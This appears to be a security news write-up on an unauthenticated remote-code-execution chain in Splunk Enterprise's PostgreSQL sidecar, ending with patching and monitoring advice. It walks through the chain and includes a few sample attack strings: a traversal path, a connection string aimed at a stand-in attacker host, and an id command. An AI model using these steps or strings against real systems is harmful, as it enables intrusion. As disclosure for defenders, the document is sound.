Zero‑Authentication Pre‑Auth RCE Chain in Splunk Enterprise Exposes Database Access

Key Takeaways

• A critical, unauthenticated remote‑code‑execution (RCE) chain (CVE‑2026‑20253, CVSS 9.8) affects Splunk Enterprise 10+ when the PostgreSQL Sidecar Service is enabled.
• The service is on by default for Splunk Enterprise on AWS, making cloud deployments especially vulnerable out‑of‑the‑box.
• Although the service binds to localhost, Splunk’s web interface proxies requests to internal API endpoints such as /v1/postgres/recovery/backup and /restore.
• Lack of authentication on these APIs lets attackers supply arbitrary credentials (even empty) to pg_dump/pg_restore, enabling file creation/truncation via directory traversal.
• By injecting a malicious PostgreSQL connection string into the “database” parameter, attackers can force Splunk to connect to an attacker‑controlled database and abuse the .pgpass file to execute arbitrary SQL during restore.
• Using PostgreSQL large‑object export functions, attackers achieve arbitrary file write as the Splunk user, which can be leveraged to overwrite legitimate Splunk scripts and gain full RCE.
• Splunk has issued an advisory; immediate patching is required, especially for AWS‑based instances, and monitoring of internal API access and file integrity is recommended.

Overview of the Vulnerability
The flaw resides in the PostgreSQL Sidecar Service, an internal component introduced in Splunk Enterprise version 10 and later. While the sidecar is optional for on‑premise installations, it is enabled by default in Splunk Enterprise deployed on Amazon Web Services (AWS). This default activation expands the attack surface for cloud customers who may assume the service is isolated. The sidecar runs a PostgreSQL instance that supports backup and restore operations via a set of internal HTTP APIs.

How the Service Is Exposed
Although the PostgreSQL sidecar binds only to 127.0.0.1, Splunk’s main web interface (listening on port 8000) acts as a reverse proxy for several internal endpoints. Endpoints such as /v1/postgres/recovery/backup and /v1/postgres/recovery/restore are reachable through ordinary HTTP requests to the Splunk web server. Consequently, an unauthenticated attacker on the network can reach these APIs despite the service’s localhost binding.

Authentication Bypass in the API
The core issue is the absence of proper authentication checks on the exposed APIs. The service accepts any username/password combination—including empty strings—and forwards these credentials directly to the underlying PostgreSQL utilities pg_dump and pg_restore. Because no validation occurs, an attacker can trigger database backup or restore operations without possessing legitimate credentials, opening the door to file system manipulation.

Arbitrary File Creation via Directory Traversal
Initial analysis by watchTowr Labs showed that the backupFile parameter in the backup endpoint is susceptible to directory‑traversal attacks. By supplying paths like ../../../tmp/evil.sh, an attacker can cause pg_dump to write or truncate files anywhere the Splunk user can access. This primitive alone permits arbitrary file creation or deletion, a significant impact but not yet full code execution.

Chaining with a Malicious Connection String
Researchers discovered a more dangerous vector: the database parameter in the restore endpoint accepts a PostgreSQL connection string. By injecting a crafted string such as host=attacker.com port=5432 user=attacker password=secret dbname=evil, an attacker can force Splunk to connect to an external, attacker‑controlled PostgreSQL instance during the restore process. This capability lets the adversary supply malicious database content that Splunk will subsequently ingest.

Abusing the .pgpass File for Credential Exposure
During a restore operation, Splunk consults a local .pgpass file for PostgreSQL credentials if they are not supplied elsewhere. watchTowr demonstrated that, because the sidecar’s restore feature reads this file, an attacker who can write to the .pgpass file (via the earlier file‑write primitive) can inject credentials that allow authentication to the internal PostgreSQL instance. Once authenticated, the attacker can execute arbitrary SQL commands within the database context.

Achieving Arbitrary File Write via PostgreSQL Large Objects
With SQL execution possible, the researchers leveraged PostgreSQL’s large‑object export functions (lo_export) to write attacker‑controlled data to arbitrary files on the filesystem. By selecting a large object containing a payload and exporting it to a chosen path, they gained full arbitrary file write as the Splunk user. This step transforms the earlier file‑creation limitation into a powerful write‑anywhere capability.

From File Write to Remote Code Execution
Arbitrary file write enables overwriting any file executed by Splunk. In the proof‑of‑concept, watchTowr replaced a legitimate Python script that Splunk runs during routine operations (for example, a script located in $SPLUNK_HOME/bin/). After the replacement, the attacker’s script—containing a simple system() call to execute /bin/bash -c 'id > /tmp/out'—was invoked by Splunk, confirming remote code execution. The attack chain thus moves from unauthenticated API access to full system compromise.

Implications and Defensive Recommendations
This vulnerability underscores how internal services exposed through application‑layer proxies can invalidate security assumptions, especially when authentication is inconsistently enforced. Even services bound to localhost become reachable via the web server’s routing logic. Splunk has released an advisory (ID 2026‑001) urging immediate upgrades to patched versions. Organizations running Splunk Enterprise on AWS should prioritize patching, as the vulnerable sidecar is enabled by default there. Additionally, administrators should:

• Restrict access to internal API endpoints (e.g., via network segmentation or firewall rules).
• Monitor and log requests to /v1/postgres/recovery/* for anomalous parameters.
• Verify the integrity of critical Splunk files and scripts using file‑integrity monitoring tools.
• Review and harden .pgpass file permissions, ensuring it is not world‑writable.

Detection and Mitigation Tools
watchTowr released detection scripts that probe the affected endpoints for missing authentication, helping security teams identify vulnerable instances before exploitation. Deploying these checks as part of routine vulnerability‑scanning regimens can catch misconfigurations early.

Conclusion
CVE‑2026‑20253 illustrates a classic “defense‑in‑depth” failure: a seemingly innocuous file‑write issue, when combined with weak authentication, credential exposure, and flexible database connection handling, escalates to unauthenticated remote code execution. Prompt patching, strict access controls, and vigilant monitoring of internal APIs are essential to prevent exploitation of this critical flaw in Splunk Enterprise environments.